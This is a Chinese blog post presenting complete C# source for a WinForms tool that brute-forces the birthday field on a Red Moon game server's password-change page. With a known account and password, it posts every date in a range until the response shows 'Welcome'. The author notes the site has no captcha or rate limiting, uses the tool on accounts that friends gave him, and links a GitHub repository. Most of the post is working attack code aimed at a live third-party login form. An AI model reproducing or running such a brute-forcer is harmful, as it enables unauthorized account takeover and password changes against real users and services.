美服红月我接触的第一款网游,生日爆破

  这款游戏我已经很久没有玩了,但看了看我11年写的代码,再看看美服红月的网站 ,卧槽! 竟然还改版了,编译了一下程序,发现这些功能都莫名其妙的不能用了,网站地址换了,提交数据的接口变了,所以又更新了一版。

随着技术的更新,这个小工具也要跟着技术的一起强行升级一下,从net 2.0 升到4.5 。虽然样子有点挫,也懒得改了,但是这个核心功能就是 通过账号密码 暴力找生日,因为这款游戏比较古老估计只有80后才会记得,现在国内只有变态私服,相比较这个米国私服已经运营了长达9年,无外挂、全活人、全手动、GM对中国人很暴力。

  改密码的方式,只有生日可以改,通过正确的用户名和密码和生日登录网站,才能改密码,虽然自己账号已经不记得了. 但是没关系,以前朋友给的号还都在。

  原理很简单,就是枚举生日,提交请求到服务器,先看看表单和 请求地址和参数

 美服红月我接触的第一款网游,生日爆破_第1张图片

表单有三个元素, 账号、密码、生日  ,用fiddler 查看

美服红月我接触的第一款网游,生日爆破_第2张图片

提交数据可以通过HttpWebRequest 和HttpWebResponse 来提交和接受返回信息,根据上面参数先来构造 提交数据的对象

    [JsonObject(Newtonsoft.Json.MemberSerialization.OptIn)]
    public class CrackBirthdayModel
    {
        [JsonProperty]
        public string account { get; set; }//账号
        [JsonProperty]
        public string password { get; set; }//密码
        [JsonProperty]
        public int month { get; set; }//月份
        [JsonProperty]
        public string day { get; set; }//
        [JsonProperty]
        public int year { get; set; }//
        [JsonProperty]
        public string submit {  get { return "Submit"; } }//提交方式
        [JsonIgnore] 
        public DateTime CreckDate { get; set; }
    }
表单数据对象

然后我们在构造我们需要提交的请求,通过构造表单对象数据,然后传入HttpHelper. PostAsync<T>(string url, T data, string refe) ,就可以完成模拟请求,尝试一次生日,由于网站没有任何验证码和次数限制,所以我们就可以疯狂的提交尝试。

using Newtonsoft.Json;
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Net;
using System.Text;
using System.Threading.Tasks;

namespace RedMoonBirthRecovery
{
    public class HttpHelper
    {

        /// <summary>
        /// post 提交非异步
        /// </summary>
        /// <param name="url">登录的url</param>
        /// <param name="data">登录url的参数.可用http工具获取. </param>
        /// <param name="refe">登录后的网站地址.</param>
        /// <returns></returns>
        public static string Post<T>(string url, T data, string refe)
        {
            string result = string.Empty;
            try
            {
                string postData = BuildRequestBody(data);
                CookieContainer cc = new CookieContainer();
                HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url);
                request.Method = "POST";
                request.ContentType = "application/x-www-form-urlencoded";
                request.CookieContainer = cc;
                request.ContentLength = postData.Length;
                request.Referer = refe;

                using (StreamWriter writer = new StreamWriter(request.GetRequestStream(), Encoding.Default))
                {
                    writer.Write(postData);
                    writer.Flush();
                }
                using (HttpWebResponse response = (HttpWebResponse)request.GetResponse())
                {
                    StreamReader reader = new StreamReader(response.GetResponseStream(), Encoding.UTF8);
                    result = reader.ReadToEnd();
                }

            }
            catch (Exception ex)
            {

                throw ex;
            }
            return result;
        }
        /// <summary>
        /// Post 提交数据
        /// </summary>
        /// <typeparam name="T">需要转换参数的类</typeparam>
        /// <param name="url">请求URL地址</param>
        /// <param name="data">要提交的数据</param>
        /// <param name="refe">Referer 前一个页面的地址</param>
        /// <returns></returns>
        public static Task<string> PostAsync<T>(string url, T data, string refe)
        {
            string result = string.Empty;
            return Task.Run<string>(() =>
            {
                try
                {
                    string postData = BuildRequestBody(data);
                    CookieContainer cc = new CookieContainer();
                    HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url);
                    request.Method = "POST";
                    request.ContentType = "application/x-www-form-urlencoded";
                    request.CookieContainer = cc;
                    request.ContentLength = postData.Length;
                    request.Referer = refe;

                    using (StreamWriter writer = new StreamWriter(request.GetRequestStream(), Encoding.Default))
                    {
                        writer.Write(postData);
                        writer.Flush();
                    }
                    using (HttpWebResponse response = (HttpWebResponse)request.GetResponse())
                    {
                        StreamReader reader = new StreamReader(response.GetResponseStream(), Encoding.UTF8);
                        result = reader.ReadToEnd();
                    }
                }
                catch (Exception ex)
                {

                    throw ex;
                }
                return result;
            });

        }
        /// <summary>
        /// 通过将传入的对象转换为request 提交的参数
        /// </summary>
        /// <typeparam name="T">对象类型</typeparam>
        /// <param name="t">传入的对象</param>
        /// <returns></returns>
        public static string BuildRequestBody<T>(T t)
        {
            string result = string.Empty;
            if (t != null)
            {
                string obj = JsonConvert.SerializeObject(t);
                Dictionary<string, string> dic = JsonConvert.DeserializeObject<Dictionary<string, string>>(obj);
                if (dic.Keys.Count > 0)
                {
                    foreach (var key in dic.Keys)
                    {
                        result += key + "=" + dic[key] + "&";
                    }
                    int lastAnd = result.LastIndexOf("&");
                    if (lastAnd > 0)
                    {
                        result = result.Substring(0, lastAnd);
                    }
                }
            }
            return result;

        }
    }
}
HttpHelper

表单很简单,样貌如下

美服红月我接触的第一款网游,生日爆破_第3张图片

 

由于是winform的程序,所以不得不扯到UI 异步刷新的问题, 11年写的那一版是多线程的,但莫名其妙就不能运行了,也是日了狗了,所以强行把以前的多线程改成了 async异步 方式,但是问题就来了,多线程 可以暂停 和恢复,但是异步只是异步,不能暂停。于是就有了这样的具体思路 :1、根据日期范围构造所有请求对象,2、强对象加入需要异步提交的队列中,3、提交时 记录提交的位置顺序来实现暂停和重置(也可以使用序列化的方式保存队列的对象)

    public class CrackTaskModel
    {
        /// <summary>
        /// 开始时间
        /// </summary>
        public DateTime beginDate { get; set; }
        /// <summary>
        /// 结束时间
        /// </summary>
        public DateTime endDate { get; set; }
        /// <summary>
        /// 所有要提交破解的生日
        /// </summary>
        public List<CrackBirthdayModel> creakRequests { get; set; }
        /// <summary>
        /// 执行的顺序
        /// </summary>
        public int currentIndex { get; set; }
        /// <summary>
        /// 标记当前是否继续运行
        /// </summary>
        public bool state { get; set; }
    }
数据提交队列

 

在UI上控制队列对象的state 标记来让循环中断实现暂停和继续

  public partial class BithRecovery : Form
    {
        public BithRecovery()
        {
            InitializeComponent();
        }
        /// <summary>
        /// 提交数据队列
        /// </summary>
        public CrackTaskModel crackTask = null;
        /// <summary>
        /// 开始按钮
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        private async void btnPost_Click(object sender, EventArgs e)
        {
            DateTime start = DateTime.Parse("1900/01/01");
            DateTime end = DateTime.Parse("1900/01/01");
            bool isok = DateTime.TryParse(dtpBeginDay.Text, out start) && DateTime.TryParse(dtpEndDay.Text, out end);
            if (isok && end >= start)
            {
                this.btnPost.Enabled = false;
                //生成破解日期
                MakeBirth(dtpBeginDay.Text, dtpEndDay.Text);
                if (crackTask != null && crackTask.creakRequests.Count > 0)
                {
                    await CrackLoop();
                }
            }
            else
            {
                MessageBox.Show("截至日期需要大于起始日期");
            }
        }
        /// <summary>
        /// 暂停和恢复
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        private async void btnStop_Click(object sender, EventArgs e)
        {
            if (btnStop.Text == "暂停")
            {
                stopCrack();
                btnStop.Text = "继续";
            }
            else if (btnStop.Text == "继续")
            {
                if (crackTask != null && crackTask.creakRequests.Count > 0)
                {
                    btnStop.Text = "暂停";
                    crackTask.state = false;
                    await CrackLoop();
                }
            }
            btnPost.Enabled = false;

        }
        /// <summary>
        /// 暂停队列
        /// </summary>
        public void stopCrack()
        {
            if (crackTask != null && crackTask.creakRequests.Count > 0)
            {
                //暂停提交
                crackTask.state = true;
            }
        }
        /// <summary>
        /// 重置队列
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        private void btnReset_Click(object sender, EventArgs e)
        {
            stopCrack();
            crackTask = null;
            btnStop.Text = "暂停";
            btnPost.Enabled = true;

        }


        /// <summary>
        /// 异步请求
        /// </summary>
        /// <returns></returns>
        public async Task CrackLoop()
        {
            if (crackTask != null)
            {
                for (; crackTask.currentIndex < crackTask.creakRequests.Count; crackTask.currentIndex++)
                {
                    ///如果状态变了,停止循环
                    if (crackTask.state)
                    {
                        break;
                    }
                    var task = crackTask.creakRequests[crackTask.currentIndex];
                    int shengyu = crackTask.creakRequests.Count - 1 - crackTask.currentIndex;
                    lblStatus.Text = "当前" + task.CreckDate.ToString("yyyy-MM-dd") + "\t 已经尝试了" + (crackTask.currentIndex) + "次/还剩" + shengyu;
                    bool isok = await CrackBirth(task);
                    if (isok)
                    {
                        lblStatus.Text = "正确生日是:" + task.CreckDate.ToString("yyyy-MM-dd");
                        break;
                    }
                    if (shengyu == 0)
                    {
                        lblStatus.Text = "很遗憾没有为你找到账号的生日";
                    }
                }
            }
        }




        /// <summary>
        /// 生成生日密码字典
        /// </summary>
        /// <param name="beginBirth">开始日期</param>
        /// <param name="endbirth">结束日期</param>
        /// <returns></returns>
        public void MakeBirth(string beginBirth, string endbirth)
        {
            DateTime bdate = new DateTime();
            DateTime edate = new DateTime();
            bool isConverted = DateTime.TryParse(beginBirth, out bdate) && DateTime.TryParse(endbirth, out edate);
            if (isConverted)
            {
                ///构造所有请求生日的数据
                crackTask = new CrackTaskModel { beginDate = bdate, endDate = edate, currentIndex = 0, state = false };
                crackTask.creakRequests = new List<CrackBirthdayModel>();
                TimeSpan minusdays = edate - bdate;
                for (int i = 0; i <= minusdays.Days; i++)
                {
                    var birth = bdate.AddDays(i);
                    crackTask.creakRequests.Add(new CrackBirthdayModel
                    {
                        account = txtaccount.Text,
                        password = txtPass.Text,
                        month = birth.Month,
                        day = birth.ToString("dd"),
                        year = birth.Year,
                        CreckDate = birth
                    });
                }
            }
        }


 

        /// <summary>
        /// 尝试猜解生日
        /// </summary>
        /// <param name="crackBirth">生日请求对象</param>
        /// <returns></returns>
        public async Task<bool> CrackBirth(CrackBirthdayModel crackBirth)
        {
            bool ResponseResult = false;
            return await Task.Run<bool>(async () =>
             {
                 ///等待提交返回结果
                 string result = await HttpHelper.PostAsync<CrackBirthdayModel>(RedmoonUri.crackBirthday, crackBirth, RedmoonUri.crackBirthday);
                 if (result.Contains("Login"))
                 {
                     ResponseResult = false;
                 }
                 else if (result.Contains("Welcome"))
                 {

                     ResponseResult = true;
                 }
                 result = string.Empty;
                 return ResponseResult;
             });
        }
}
程序UI代码

到此我们的破解之路看看效果吧

美服红月我接触的第一款网游,生日爆破_第4张图片

 

找到生日了就可以去改密码,咱也不用正在FV刷图 被基友踢下线,现在已经不玩这个游戏了,但是偶尔还是会想去怀念一下初中时代的那种感觉。

 

需要程序代码在github上下载: https://github.com/shan333chao/RedmoonClassicTool 

晒一张游戏的图

 美服红月我接触的第一款网游,生日爆破_第5张图片

你可能感兴趣的:(美服红月我接触的第一款网游,生日爆破)